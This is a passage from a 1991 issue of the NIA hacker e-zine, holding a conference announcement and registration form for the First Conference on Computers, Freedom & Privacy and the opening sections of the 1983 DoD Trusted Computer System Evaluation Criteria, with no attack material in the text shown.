home *** CD-ROM | disk | FTP | other *** search
Text File | 1992-09-26 | 442.0 KB | 10,262 lines |
- Founded By: | _ _______
- Guardian Of Time | __ N.I.A. _ ___ ___ Are you on any WAN? are
- Judge Dredd | ____ ___ ___ ___ ___ you on Bitnet, Internet
- ------------------+ _____ ___ ___ ___ ___ Compuserve, MCI Mail,
- \ / ___ ___ ___ ___ ___________ Sprintmail, Applelink,
- +---------+ ___ ___ ___ ___ ___________ Easynet, MilNet,
- | 15FRI91 | ___ ______ ___ ___ ___ FidoNet, et al.?
- | File 70 | ___ _____ ___ ___ ___ If so please drop us a
- +---------+ ____ _ __ ___ line at
- ___ _ ___ elisem@nuchat.sccsi.com
- Other World BBS __
- Text Only _ Network Information Access
- Ignorance, There's No Excuse.
-
- Issue 070 :: Volume 02
-
- Submissions can be sent to our Internet address.
-
-
- =============================================================================
- 1. The First Conference On Computers, Freedom & Privacy.....Dorothy Denning
- 2. DoD Trusted System Evaluation Criteria [01 of 02]............Judge Dredd
- 3. Kermit Protocol Manual [02 of 02]........................Malefactor [OC]
- 4. Social Engineering: A Way Of Life........................Malefactor [OC]
- 5. Unix Kerberos Manual...........................Doctor Dissector [PHA/P4]
- 6. A Basic Guide To Hacking Unix.......................Sir Hackalot [PHAZE]
- 7. Editor's Comments...............................................JD & GOT
- ============================================================================
-
- / /
- / File 01 / NIA070 /
- / Dorothy Denning of /
- / Digital Equipment Corporation /
- / /
-
-
- *********************************************************
- * THE FIRST CONFERENCE ON COMPUTERS, FREEDOM & PRIVACY *
- *********************************************************
-
- Pursuing Policies for the Information Age in the
- Bicentennial Year of the Bill of Rights
-
- Tutorials & Invitational Conference, Limited to 600 Participants
- Monday-Thursday, March 25-28, 1991
-
- Airport SFO Marriott Hotel, Burlingame, California (San Francisco Peninsula)
-
- Co-sponsors & cooperating organizations include
- Institute of Electrical and Electronics Engineers-USA
- Association for Computing Machinery Electronic Networking Association
- Electronic Frontier Foundation Videotex Industry Association
- Cato Institute American Civil Liberties Union
- ACM Special Interest Group on Software
- IEEE-USA Intellectual Property Committee
- ACM Special Interest Group on Computers and Society
- ACM Committee on Scientific Freedom and Human Rights
- IEEE-USA Committee on Communications and Information Policy
- Autodesk, Inc. The WELL Portal Communications
-
- Sponsored by the Computer Professionals for Social Responsibility
- A nonprofit educational corporation
- (415)322-3778, e-mail: cfp@well.sf.ca.us. fax: (415)851-2814
-
-
- ABOUT COMPUTERS, FREEDOM & PRIVACY
- ----------------------------------
-
- We are at a crossroads as individuals, organizations and governments depend
- more and more on computers and computer networks. Within ten years, most
- global information will be collected and utilized electronically.
-
- The 1990's are the pivotal decade in which statutes, policies and judicial
- precedents will be developed for controlling access, use -- and abuse -- of
- computerized information and electronic mail.
-
- Current government and private-sector policies are an uncoordinated jumble,
- created as each group evolves ways to collect, manipulate, extract,
- share and protect computerized and networked information and services.
-
- Data on individuals and groups is being computerized by numerous agencies,
- organizations and special interests, often without the knowledge or approval
- of those it concerns, and with varying degrees of accuracy.
-
- Computers can greatly assist individuals, organizations and government in
- making sound decisions based on efficient access to adequate information --
- for personal benefit, business improvement and national well-being.
-
- Or, inappropriate use and regulation can seriously threaten fundamental
- freedoms, personal privacy, and the democratic processes that are at the
- very foundation of this nation and of any free society.
-
-
- ABOUT THE CONFERENCE SESSIONS (Tuesday-Thursday, March 26th-28th)
- -----------------------------------------------------------------
-
- PLENARY SPEAKERS:
-
- * Laurence H. Tribe,
- Professor of Constitutional Law, Harvard Law School,
- offering major policy proposals in the opening Conference session, "The
- Constitution in Cyberspace: Law & Liberty Beyond the Electronic Frontier".
-
- * Eli M. Noam,
- Director of the Center for Telecommunications and Information Studies,
- Columbia University, and a recognized leader in telecommunications
- regulation, international communications policies and economics, will
- discuss, "Network Environments of the Future: Reconciling Free Speech and
- Freedom of Association."
-
- * William A. Bayse,
- Assistant Director, FBI Technical Services Division, Washington DC,
- providing perspectives on "Balancing Computer Security Capabilities with
- Privacy and Integrity" at the Wednesday evening banquet.
-
- THE CONFERENCE SESSIONS offer diverse speakers & panel discussions:
-
- Trends in Computers & Networks.
- Overview and prognosis of computing capabilities and networking as they
- impact personal privacy, confidentiality, security, one-to-one & many-to-one
- communications, and access to information about government, business and
- society.
-
- International Perspectives & Impacts.
- Other nationsU models for protecting personal information and
- communications, and granting access to government information; existing
- and developing laws; requirements for trans-national dataflow and their
- implications; impacts on personal expression; accountability.
-
- Personal Information & Privacy.
- Government and private collection, sharing, marketing, verification, use,
- protection of, access to and responsibility for personal data, including
- buying patterns, viewing habits, lifestyle, work, health, school, census,
- voter, tax, financial and consumer information.
-
- Law Enforcement Practices & Problems.
- Issues relating to investigation, prosecution, due process and deterring
- computer crimes, now and in the future; use of computers to aid law
- enforcement.
-
- Law Enforcement & Civil Liberties.
- Interaction of computer crime, law enforcement and civil liberties; issues
- of search, seizure and sanctions, especially as applied to shared or
- networked information, software and equipment.
-
- Legislation & Regulation.
- Legislative and regulatory roles in protecting privacy and insuring
- access; legal problems posed by computing and computer networks; approaches
- to improving related government processes.
-
- Computer-based Surveillance of Individuals.
- Monitoring electronic-mail, public & private teleconferences, electronic
- bulletin boards, publications and subscribers; monitoring individuals, work
- performance, buying habits and lifestyles.
-
- Electronic Speech, Press & Assembly.
- Freedoms and responsibilities regarding electronic speech, public and
- private electronic assembly, electronic publishing, prior restraint and
- chilling effects of monitoring.
-
- Access to Government Information.
- Implementing individual and corporate access to federal, state & local
- information about communities, corporations, legislation, administration,
- the courts and public figures; allowing access while protecting
- confidentiality.
-
- Ethics & Education.
- Ethical principles for individuals, system administrators, organizations,
- corporations and government; copying of data, copying of software,
- distributing confidential information; relations to computer education
- and computer law.
-
- Where Do We Go From Here? [closing session]
- Perspectives, recommendations and commitments of participants from the
- major interest groups, proposed next steps to protect personal privacy,
- protect fundamental freedoms and encourage responsible policies and action.
- Also:
- Tuesday and Wednesday will include structured opportunities for attendees
- to identify groups with whom they want to establish contact and, if they
- wish, announce topics they would like to discuss, one on one.
-
-
- ABOUT THIS PREMIER EVENT
- ------------------------
-
- This is an intensive, multi-disciplinary survey Conference for those
- concerned with computing, teleconferencing, electronic mail, computerized
- personal information, direct marketing information, government data, etc. --
- and those concerned with computer-related legislation, regulation, computer
- security, law enforcement and national and international policies that
- impact civil liberties, responsible exercise of freedom and equitable
- protection of privacy in this global Information Age.
-
- For the first time, this four-day invitational event will bring together
- representatives from all of these groups and more, all in one place, all at
- one time.
-
- Many of the recognized leaders and strongest advocates representing the
- various groups having an interest in the issues of the conference will
- discuss their concerns and proposals.
-
- A maximum of 600 applicants will be invited to attend. Balanced
- representation from the diverse groups interested in these issues is being
- encouraged. Please see the enclosed Invitation Application for details.
-
- To inform participants about topics beyond their specialties, half-day
- seminars are scheduled for the first day (Monday, March 25th). These
- parallel tutorials will explore relevant issues in computing, networking,
- civil liberties, regulation, the law and law enforcement. Each tutorial
- is designed for those who are experienced in one area, but are less
- knowledgeable in the subject of that tutorial.
-
- To explore the interactions and ramifications of the issues, conference
- talks and panel discussions are scheduled for the remaining three days
- (Tuesday-Thursday, March 26th-28th). These will emphasize balanced
- representation of all major views, especially including probing questions
- and discussion.
-
- Explicit Conference events to foster communication across disciplines are
- planned. Working luncheons, major breaks and two evening banquets will
- further encourage individual and small-group discussions.
-
-
- ABOUT JUST *SOME* OF THE SPEAKERS IN THE 3-DAY CONFERENCE
- ---------------------------------------------------------
-
- Ken Allen, Senior Vice President for Governmental Relations, Information
- Industries Association (IIA).
-
- Sharon Beckman, civil rights and criminal defense attorney and Electronic
- Frontier Foundation litigation counsel, Silverglate & Good.
-
- Jerry Berman, Director of the ACLU's Project on Information Technology and
- Communications Policy Fellow, Benton Foundation.
-
- Paul Bernstein, columnist, Trial magazine; Electronic Bar Assn. Legal Info.
- Network administrator; LawMUG BBS sysop; edits on-line lawyers' newsletter.
-
- Sally Bowman, promotes responsible computing practices through school
- teaching units; Director, Computer Learning Foundation.
-
- David Burnham, author, *Rise of the Computer State*; former *New York Times*
- investigative reporter; specialist in IRS & Freedom of Information Act.
-
- Mary Culnan, co-authored major credit reporting policies presented to
- Congress; School of Business Administration, Georgetown University.
-
- Peter Denning, Editor, 1990 *Computers Under Attack*; past Pres., ACM;
- founding Director, RIACS; editor, *Communications of the ACM*.
-
- Dorothy Denning, received Aerospace's 1990 Distinguished Lecturer in
- Computer Security award; author, *Cryptography & Data Security*.
-
- Dave Farber, co-founder, CSNET; member, National Research Council's
- Computer Science & Telecommunications Board; University of Pennsylvania.
-
- Cliff Figallo, Chief Executive Officer and Director of the WELL
- (the Whole Earth 'Lectronic Link).
-
- David Flaherty, Canadian surveillance expert, Professor of History & Law at
- the University of Western Ontario.
-
- John Ford, Public Relations Director for Equifax, one of the nation's
- largest maintainers of information on individuals.
-
- Bob Gellman, Chief Counsel, U.S. House of Representatives Governmental
- Information Subcommittee.
-
- Janlori Goldman, Director, ACLU Project on Privacy & Technology,
- Washington, DC.
-
- Harry Hammit, Editor, *Access Reports*, focusing on access to information.
-
- Martin Hellman, identified potential hazards in federal DES national
- encryption standard; co-invented public-key encryption; Stanford University.
-
- Evan Hendricks, Editor & Publisher of *Privacy Times* newsletter.
-
- Lance Hoffman, public policy researcher and Professor of Electrical
- Engineering & Computer Science at George Washington University.
-
- Don Ingraham, wrote the first-ever search warrant for magnetic media,
- computer crime prosecutor; Asst. District Attorney, Alameda County.
-
- Bob Jacobson, former Principal Consultant, Calif. State Assembly Utilities
- and Commerce Committee; drafted landmark comp. communications legislation.
-
- Mitch Kapor, co-founder, Electronic Frontier Foundation; founder, Lotus
- Corp.; received DPMA's 1990 Distinguished Information Science Award.
-
- Tom Mandel, Director of the Leading Edge Values & Lifestyles Program at
- SRI International.
-
- John McMullen, well-known on-line journalist; co-authors "Newsbytes" column
- on GEnie and Online America.
-
- Peter Neumann, member, National Research Council's 1990 *Computers at Risk*
- committee; Chair, ACM Comm.on Computers & Public Policy; hosts RISKS Forum.
-
- Donn Parker, perhaps the best-known international consultant and author on
- information security and computer crime, SRI International.
- Ron Plesser, former majority party congressional committee counsel; privacy
- expert; attorney, Piper & Marbury.
-
- John Quarterman, author, Digital Press' definitive *The Matrix: Computer
- Networks and Conferencing Systems Worldwide*; networking consultant.
-
- Jack Rickard, Editor of *Boardwatch* magazine, perhaps the best news source
- about computer bulletin boards; Online Information Service.
-
- Tom Riley, Canadian specialist in international computing and privacy
- issues; Riley & Associates.
-
- Lance Rose, co-author of *Syslaw*, about the law applied to on-line
- situations; attorney, Wallace & Rose.
-
- Marc Rotenberg, expert in federal computer and privacy law; Computer
- Professionals for Social Responsibility, Washington office Director.
-
- Noel Shipman, attorney for plaintiffs in electronic-mail privacy landmark
- 1990 litigation against Epson America.
-
- Harvey Silverglate, Electronic Frontier Foundation litigation counsel,
- specialist in criminal defense and civil rights, Silverglate & Good.
-
- Gail Thackeray, computer crime prosecutor; involved in Secret Service's
- 1990 "Operation Sun Devil", Arizona Asst. State Attorney General.
-
- Robert Veeder, Acting Chief, Information Policy Branch, Office of
- Information Regulatory Affairs, OMB (Office of Management & Budget).
-
- Willis Ware, computer security expert; Fellow, RAND Corporation.
-
- Sheldon Zenner, former federal prosecutor in Chicago; defended *Phrack*
- electronic publisher, Craig Neidorf; Katten, Muchin & Zavis.
-
-
- ABOUT THE LOW-COST TUTORIALS (Monday, March 25th)
- -------------------------------------------------
-
- Seminars on the first day offer introductions to the different disciplines
- that intersect in this conference. These are surveys for individuals not
- already expert in the topics presented. These half-day tutorials are
- scheduled in four parallel tracks:
-
- Global Communications & the Worldwide Computer Matrix. [morning*]
- Survey of electronic-mail & teleconferencing services, global information
- access, remote services and the matrix of networks.
-
- Low-Cost Computer Networking & Computer Bulletin Board Systems. [afternoon*]
- Reviews e-mail, bulletin board and teleconferencing alternatives on
- personal computers; outlines low-cost PC-based networks and their gateways
- to the global matrix.
- -- Mark Graham*, co-founder of Institute for Global Communications,
- PeaceNet and EcoNet; Pandora Systems
-
- Current & Proposed International Policies. [morning*]
- Law and regulation that will or may impact trans-border data-flow and
- computer communications, impacting U.S. information practices and
- international business.
-
- Federal Legislation Impacting Computer Use. [afternoon*]
- Detailed review of landmark federal statutes impacting access to
- information, privacy of information, computer security and computer crime.
- -- Marc Rotenberg*, former congressional counsel and expert on federal
- legislation, CPSR, Washington DC.
-
- How Computer Crackers Crack! [morning*]
- Suggested by a deputy district attorney specializing in high-tech crime,
- this is for law enforcement officials, prosecutors, systems administrators
- and Bulletin Board System (BBS) sysops.
- -- Russell Brand*, computer security specialist; programmer with
- Reasoning Systems, Palo Alto CA.
-
- How Computer Crime is Investigated.
- [afternoon*] This reviews investigation, search, seizure and evidence
- requirements for pursuing computer crime. It is for computer users,
- computer owners, BBS sysops and investigators unfamiliar with computer
- crime practices.
-
- Information Security. [afternoon*]
- Survey for systems managers of internal and external threats, security
- measures, alternatives and other computer and data security issues.
- -- Donn Parker*, a leading consultant in information security and
- computer crime, SRI International.
-
- * - Lecturers, descriptions and times were confirmed as of 1/8/91, but may
- be subject to change.
-
-
- CONFERENCE CHAIR
- Jim Warren, Autodesk, Inc. & *MicroTimes*
- 415-851-7075, jwarren@well.sf.ca.us / e-mail
-
- PROGRAM COMMITTEE
- Dorothy Denning, Digital Equipment Corporation
- Peter Denning, Research Institute for Advanced Computer Science
- Les Earnest, SF Peninsula ACLU & Stanford University, ret.
- Elliot Fabric, Attorney at Law
- Mark Graham, Pandora Systems
- Don Ingraham, Alameda County District AttorneyUs Office
- Bruce Koball, Motion West
- Marc Rotenberg, Computer Professionals for Social Responsibility
- Glenn Tenney, Fantasia Systems & Hacker's Conference
-
- ADVISORS
- Ron Anderson, ACM SIGCAS & University of Minnesota
- John Perry Barlow, Electronic Frontier Foundation
- Jerry Berman, ACLU & Benton Foundation
- Dave Caulkins, USSR GlasNet
- Vint Cerf, Corporation for National Research Initiatives
- Margaret Chambers, Electronic Networking Association
- Steve Cisler, Apple Computer, Inc.
- Whit Diffie, Northern Telecom
- Mary Eisenhart, *MicroTimes*
- Dave Farber, University of Pennsylvania
- Cliff Figallo, The WELL
- John Gilmore, Cygnus Support
- Adele Goldberg, ParcPlace Systems
- Terry Gross, Rabinowitz, Boudin, Standard, et al
- Keith Henson, consultant & Alcor
- Lance Hoffman, George Washington University
- Dave Hughes, Chariot Communications
- Bob Jacobson, Human Interface Technology Laboratory
- Mitch Kapor, Electronic Frontier Foundation
- Roger Karraker, Santa Rosa College
- Tom Mandel, SRI International
- John McMullen, NewsBytes
- Peter Neumann, SRI International
- Dave Redell, Digital Equipment Corporation
- Ken Rosenblattt, Santa Clara County District Attorney's Office
- Paul Saffo, Institute for the Future
- Gail Thackeray, Arizona Attorney GeneralUs Office
- Jay Thorwaldson, Palo Alto Medical Foundation
- Terry Winograd, CPSR & Stanford University
- Sheldon Zenner, Katten, Muchin, & Zavis
-
- Affiliations listed only for identification
-
- ============================
- = Request for Invitation =
- ============================
- First Conference on Computers, Freedom & Privacy
- March 25-28, 1991
- Monday: Tutorials, Tuesday-Thursday: Conference Sessions
- SFO Marriott Hotel, 1800 Old Bayshore Hwy., Burlingame CA 94010
- For hotel reservations at Conference rates, call: (800)228-9290 #3
-
- ** Invitational Conference, limted to 600 participants. **
- To facilitate useful dialogue and balanced participation by
- representatives from all of the diverse groups interested in these issues,
- attendance is limited. (The capacity of the Conference facility is
- similarly limited).
- All interested individuals are encouraged to request an invitation.
- Invitations will be primarily issued on a first-come, first-served basis
- within each major interest group.
-
- Fees if payment is received: by Jan.31 Feb.1-Mar.15 after Mar.15
- Tutorials (full day) $ 95 $ 145 $ 195
- Conference (3 days) $ 295 $ 350 $ 400
- Conference Registration fee includes three luncheons, two banquet meetings
- and selected handouts:
- Please make checks payable to "Computers, Freedom & Privacy/CPSR".
- Please don't send cash. Invitations will be promptly issued, or the
- uncashed check will be voided and promptly returned.
-
- Please type or print. Thank ye, kindly.
- name:
- title:
- organization:
- mailing
- address:
- city, state ZIP:
- phone(s):
- fax:
- e-mail:
-
- Comments to assist in evaluating this request:
-
-
-
- To aid in balancing participation among groups,
- please check all significantly applicable items.
- [ ] user of computers or computer networking
- [ ] user of electronic-mail services
- [ ] user of teleconferencing services
- [ ] user of direct marketing services
- [ ] user of computerized personal information
- [ ] user of government information
- [ ] computer professional
- [ ] BBS sysop (bulletin board system operator)
- [ ] systems administrator / infosystems manager
- [ ] network administrator
- [ ] computer / communications security specialist
- [ ] provider of data communications services
- [ ] provider of electronic-mail services
- [ ] provider of teleconferencing services
- [ ] provider of direct marketing services
- [ ] provider of computerized personal information
- [ ] provider of government information
- [ ] legislative official [ ] federal [ ] state
- [ ] regulatory official or staff [ ] federal [ ] state
- [ ] law enforcement official [ ] federal [ ] state [ ] local
- [ ] prosecutor [ ] federal [ ] state [ ] local
- [ ] judicial representative [ ] federal [ ] state [ ] local
- [ ] criminal defense attorney
- [ ] corporate or litigation attorney
- [ ] civil liberties specialist
- [ ] journalist [ ] newspaper [ ] television [ ] radio [ ] other
- [ ] other:
- [ ] other:
- <<1/7/91>>
-
- Please mail form and payment to:
- CFP Conference, 345 Swett Road, Woodside CA 94062
-
- Privacy Notice: This information will not be sold, rented, loaned,
- exchanged or used for any purpose other than official CPSR activity.
- CPSR may elect to send information about other activities, but such
- mailings will always originate with CPSR.
-
- Sponsor: Computer Professionals for Social Responsibility, (415)322-3778
- A nonprofit, educational corporation [ Internal Revenue Code 501(c)(3) ]
- e-mail: cfp@well.sf.ca.us; fax: (415)851-2814
- Chair: Jim Warren, (415)851-7075
-
- =============================================================================
-
- / /
- / File 02 / NIA070 /
- / DOD-TCSEC Manual 01 of 02 /
- / Judge Dredd /
- / /
-
-
- CSC-STD-001-83
- Library No. S225,711
-
-
-
-
-
- DEPARTMENT OF DEFENSE
-
- TRUSTED COMPUTER SYSTEM EVALUATION CRITERIA
-
-
-
-
-
-
-
- 15 August 1983
-
-
-
- CSC-STD-001-83
-
-
-
-
-
-
- FOREWORD
-
-
- This publication, "Department of Defense Trusted Computer System Evaluation
- Criteria," is being issued by the DoD Computer Security Center under the
- authority of and in accordance with DoD Directive 5215.1, "Computer Security
- Evaluation Center." The criteria defined in this document constitute a uniform
- set of basic requirements and evaluation classes for assessing the
- effectiveness of security controls built into Automatic Data Processing (ADP)
- systems. These criteria are intended for use in the evaluation and selection
- of ADP systems being considered for the processing and/or storage and
- retrieval of sensitive or classified information by the Department of Defense.
- Point of contact concerning this publication is the Office of Standards and
- Products, Attention: Chief, Computer Security Standards.
-
-
-
-
-
- ____________________________ 15 August 1983
- Melville H. Klein
- Director
- DoD Computer Security Center
-
-
-
-
- ACKNOWLEDGMENTS
-
-
- Special recognition is extended to Sheila L. Brand, DoD Computer Security
- Center (DoDCSC), who integrated theory, policy, and practice into and directed
- the production of this document.
-
- Acknowledgment is also given for the contributions of: Grace Hammonds and
- Peter S. Tasker, the MITRE Corp., Daniel J. Edwards, Col. Roger R. Schell,
- Marvin Schaefer, DoDCSC, and Theodore M. P. Lee, Sperry UNIVAC, who as
- original architects formulated and articulated the technical issues and
- solutions presented in this document; Jeff Makey and Warren F. Shadle,
- DoDCSC, who assisted in the preparation of this document; James P. Anderson,
- James P. Anderson & Co., Steven B. Lipner, Digital Equipment Corp., Clark
- Weissman, System Development Corp., LTC Lawrence A. Noble, formerly U.S. Air
- Force, Stephen T. Walker, formerly DoD, Eugene V. Epperly, DoD, and James E.
- Studer, formerly Dept. of the Army, who gave generously of their time and
- expertise in the review and critique of this document; and finally, thanks are
- given to the computer industry and others interested in trusted computing for
- their enthusiastic advice and assistance throughout this effort.
-
-
-
-
- TABLE OF CONTENTS
- FOREWORD. . . . . . . . . . . . . . . . . . . . . . . . . . . .i
- ACKNOWLEDGMENTS . . . . . . . . . . . . . . . . . . . . . . . ii
- PREFACE . . . . . . . . . . . . . . . . . . . . . . . . . . . .v
- INTRODUCTION. . . . . . . . . . . . . . . . . . . . . . . . . .1
-
- PART I: THE CRITERIA
- Section
- 1.0 DIVISION D: MINIMAL PROTECTION. . . . . . . . . . . . .9
- 2.0 DIVISION C: DISCRETIONARY PROTECTION. . . . . . . . . 11
- 2.1 Class (C1): Discretionary Security Protection . . 12
- 2.2 Class (C2): Controlled Access Protection. . . . . 15
- 3.0 DIVISION B: MANDATORY PROTECTION. . . . . . . . . . . 19
- 3.1 Class (B1): Labeled Security Protection . . . . . 20
- 3.2 Class (B2): Structured Protection . . . . . . . . 26
- 3.3 Class (B3): Security Domains. . . . . . . . . . . 33
- 4.0 DIVISION A: VERIFIED PROTECTION . . . . . . . . . . . 41
- 4.1 Class (A1): Verified Design . . . . . . . . . . . 42
- 4.2 Beyond Class (A1). . . . . . . . . . . . . . . . . 51
-
- PART II: RATIONALE AND GUIDELINES
-
- 5.0 CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS. . . . . 55
- 5.1 A Need for Consensus . . . . . . . . . . . . . . . 56
- 5.2 Definition and Usefulness. . . . . . . . . . . . . 56
- 5.3 Criteria Control Objective . . . . . . . . . . . . 56
- 6.0 RATIONALE BEHIND THE EVALUATION CLASSES. . . . . . . . . 63
- 6.1 The Reference Monitor Concept. . . . . . . . . . . 64
- 6.2 A Formal Security Policy Model . . . . . . . . . . 64
- 6.3 The Trusted Computing Base . . . . . . . . . . . . 65
- 6.4 Assurance. . . . . . . . . . . . . . . . . . . . . 65
- 6.5 The Classes. . . . . . . . . . . . . . . . . . . . 66
- 7.0 THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA . . . . 69
- 7.1 Established Federal Policies . . . . . . . . . . . 70
- 7.2 DoD Policies . . . . . . . . . . . . . . . . . . . 70
- 7.3 Criteria Control Objective For Security Policy . . 71
- 7.4 Criteria Control Objective for Accountability. . . 74
- 7.5 Criteria Control Objective for Assurance . . . . . 76
- 8.0 A GUIDELINE ON COVERT CHANNELS . . . . . . . . . . . . . 79
- 9.0 A GUIDELINE ON CONFIGURING MANDATORY ACCESS CONTROL
- FEATURES . . . . . . . . . . . . . . . . . . . . . . . . 81
- 10.0 A GUIDELINE ON SECURITY TESTING . . . . . . . . . . . . 83
- 10.1 Testing for Division C . . . . . . . . . . . . . . 84
- 10.2 Testing for Division B . . . . . . . . . . . . . . 84
- 10.3 Testing for Division A . . . . . . . . . . . . . . 85
- APPENDIX A: Commercial Product Evaluation Process. . . . . . 87
- APPENDIX B: Summary of Evaluation Criteria Divisions . . . . 89
- APPENDIX C: Sumary of Evaluation Criteria Classes. . . . . . 91
- APPENDIX D: Requirement Directory. . . . . . . . . . . . . . 93
-
- GLOSSARY. . . . . . . . . . . . . . . . . . . . . . . . . . .109
-
- REFERENCES. . . . . . . . . . . . . . . . . . . . . . . . . .115
-
-
-
-
- PREFACE
-
-
- The trusted computer system evaluation criteria defined in this document
- classify systems into four broad hierarchical divisions of enhanced security
- protection. They provide a basis for the evaluation of effectiveness of
- security controls built into automatic data processing system products. The
- criteria were developed with three objectives in mind: (a) to provide users
- with a yardstick with which to assess the degree of trust that can be placed
- in computer systems for the secure processing of classified or other sensitive
- information; (b) to provide guidance to manufacturers as to what to build into
- their new, widely-available trusted commercial products in order to satisfy
- trust requirements for sensitive applications; and (c) to provide a basis for
- specifying security requirements in acquisition specifications. Two types of
- requirements are delineated for secure processing: (a) specific security
- feature requirements and (b) assurance requirements. Some of the latter
- requirements enable evaluation personnel to determine if the required features
- are present and functioning as intended. Though the criteria are
- application-independent, it is recognized that the specific security feature
- requirements may have to be interpreted when applying the criteria to specific
- applications or other special processing environments. The underlying
- assurance requirements can be applied across the entire spectrum of ADP system
- or application processing environments without special interpretation.
-
-
- INTRODUCTION
-
- Historical Perspective
-
- In October 1967, a task force was assembled under the auspices of the Defense
- Science Board to address computer security safeguards that would protect
- classified information in remote-access, resource-sharing computer systems.
- The Task Force report, "Security Controls for Computer Systems," published in
- February 1970, made a number of policy and technical recommendations on
- actions to be taken to reduce the threat of compromise of classified
- information processed on remote-access computer systems.[34] Department of
- Defense Directive 5200.28 and its accompanying manual DoD 5200.28-M, published
- in 1972 and 1973 respectivley, responded to one of these recommendations by
- establishing uniform DoD policy, security requirements, administrative
- controls, and technical measures to protect classified information processed
- by DoD computer systems.[8;9] Research and development work undertaken by the
- Air Force, Advanced Research Projects Agency, and other defense agencies in
- the early and mid 70's developed and demonstrated solution approaches for the
- technical problems associated with controlling the flow of information in
- resource and information sharing computer systems.[1] The DoD Computer
- Security Initiative was started in 1977 under the auspices of the Under
- Secretary of Defense for Research and Engineering to focus DoD efforts
- addressing computer security issues.[33]
-
- Concurrent with DoD efforts to address computer security issues, work was
- begun under the leadership of the National Bureau of Standards (NBS) to define
- problems and solutions for building, evaluating, and auditing secure computer
- systems.[17] As part of this work NBS held two invitational workshops on the
- subject of audit and evaluation of computer security.[20;28] The first was
- held in March 1977, and the second in November of 1978. One of the products
- of the second workshop was a definitive paper on the problems related to
- providing criteria for the evaluation of technical computer security
- effectiveness.[20] As an outgrowth of recommendations from this report, and in
- support of the DoD Computer Security Initiative, the MITRE Corporation began
- work on a set of computer security evaluation criteria that could be used to
- assess the degree of trust one could place in a computer system to protect
- classified data.[24;25;31] The preliminary concepts for computer security
- evaluation were defined and expanded upon at invitational workshops and
- symposia whose participants represented computer security expertise drawn from
- industry and academia in addition to the government. Their work has since
- been subjected to much peer review and constructive technical criticism from
- the DoD, industrial research and development organizations, universities, and
- computer manufacturers.
-
- The DoD Computer Security Center (the Center) was formed in January 1981 to
- staff and expand on the work started by the DoD Computer Security
- Initiative.[15] A major goal of the Center as given in its DoD Charter is to
- encourage the widespread availability of trusted computer systems for use by
- those who process classified or other sensitive information.[10] The criteria
- presented in this document have evolved from the earlier NBS and MITRE
- evaluation material.
-
-
- Scope
-
- The trusted computer system evaluation criteria defined in this document apply
- to both trusted general-purpose and trusted embedded (e.g., those dedicated to
- a specific application) automatic data processing (ADP) systems. Included are
- two distinct sets of requirements: 1) specific security feature requirements;
- and 2) assurance requirements. The specific feature requirements encompass
- the capabilities typically found in information processing systems employing
- general-purpose operating systems that are distinct from the applications
- programs being supported. The assurance requirements, on the other hand,
- apply to systems that cover the full range of computing environments from
- dedicated controllers to full range multilevel secure resource sharing
- systems.
-
-
- Purpose
-
- As outlined in the Preface, the criteria have been developed for a number of
- reasons:
-
- * To provide users with a metric with which to evaluate the
- degree of trust that can be placed in computer systems for
- the secure processing of classified and other sensitive
- information.
-
- * To provide guidance to manufacturers as to what security
- features to build into their new and planned, commercial
- products in order to provide widely available systems that
- satisfy trust requirements for sensitive applications.
-
- * To provide a basis for specifying security requirements in
- acquisition specifications.
-
- With respect to the first purpose for development of the criteria, i.e.,
- providing users with a security evaluation metric, evaluations can be
- delineated into two types: (a) an evaluation can be performed on a computer
- product from a perspective that excludes the application environment; or, (b)
- it can be done to assess whether appropriate security measures have been taken
- to permit the system to be used operationally in a specific environment. The
- former type of evaluation is done by the Computer Security Center through the
- Commercial Product Evaluation Process. That process is described in Appendix
- A.
-
- The latter type of evaluation, i.e., those done for the purpose of assessing a
- system's security attributes with respect to a specific operational mission,
- is known as a certification evaluation. It must be understood that the
- completion of a formal product evaluation does not constitute certification or
- accreditation for the system to be used in any specific application
- environment. On the contrary, the evaluation report only provides a trusted
- computer system's evaluation rating along with supporting data describing the
- product system's strengths and weaknesses from a computer security point of
- view. The system security certification and the formal approval/accreditation
- procedure, done in accordance with the applicable policies of the issuing
- agencies, must still be followed-before a system can be approved for use in
- processing or handling classified information.[8;9]
-
- The trusted computer system evaluation criteria will be used directly and
- indirectly in the certification process. Along with applicable policy, it
- will be used directly as the basis for evaluation of the total system and for
- specifying system security and certification requirements for new
- acquisitions. Where a system being evaluated for certification employs a
- product that has undergone a Commercial Product Evaluation, reports from that
- process will be used as input to the certification evaluation. Technical data
- will be furnished to designers, evaluators and the Designated Approving
- Authorities to support their needs for making decisions.
-
-
- Fundamental Computer Security Requirements
-
- Any discussion of computer security necessarily starts from a statement of
- requirements, i.e., what it really means to call a computer system "secure."
- In general, secure systems will control, through use of specific security
- features, access to information such that only properly authorized
- individuals, or processes operating on their behalf, will have access to read,
- write, create, or delete information. Six fundamental requirements are
- derived from this basic statement of objective: four deal with what needs to
- be provided to control access to information; and two deal with how one can
- obtain credible assurances that this is accomplished in a trusted computer
- system.
-
- POLICY
-
- Requirement 1 - SECURITY POLICY - There must be an explicit and well-defined
- security policy enforced by the system. Given identified subjects and
- objects, there must be a set of rules that are used by the system to determine
- whether a given subject can be permitted to gain access to a specific object.
- Computer systems of interest must enforce a mandatory security policy that can
- effectively implement access rules for handling sensitive (e.g., classified)
- information.[7] These rules include requirements such as: No person lacking
- proper personnel security clearance shall obtain access to classified
- information. In addition, discretionary security controls are required to
- ensure that only selected users or groups of users may obtain access to data
- (e.g., based on a need-to-know).
-
- Requirement 2 - MARKING - Access control labels must be associated with
- objects. In order to control access to information stored in a computer,
- according to the rules of a mandatory security policy, it must be possible to
- mark every object with a label that reliably identifies the object's
- sensitivity level (e.g., classification), and/or the modes of access accorded
- those subjects who may potentially access the object.
-
- ACCOUNTABILITY
-
- Requirement 3 - IDENTIFICATION - Individual subjects must be identified. Each
- access to information must be mediated based on who is accessing the
- information and what classes of information they are authorized to deal with.
- This identification and authorization information must be securely maintained
- by the computer system and be associated with every active element that
- performs some security-relevant action in the system.
-
- Requirement 4 - ACCOUNTABILITY - Audit information must be selectively kept
- and protected so that actions affecting security can be traced to the
- responsible party. A trusted system must be able to record the occurrences of
- security-relevant events in an audit log. The capability to select the audit
- events to be recorded is necessary to minimize the expense of auditing and to
- allow efficient analysis. Audit data must be protected from modification and
- unauthorized destruction to permit detection and after-the-fact investigations
- of security violations.
-
- ASSURANCE
-
- Requirement 5 - ASSURANCE - The computer system must contain hardware/software
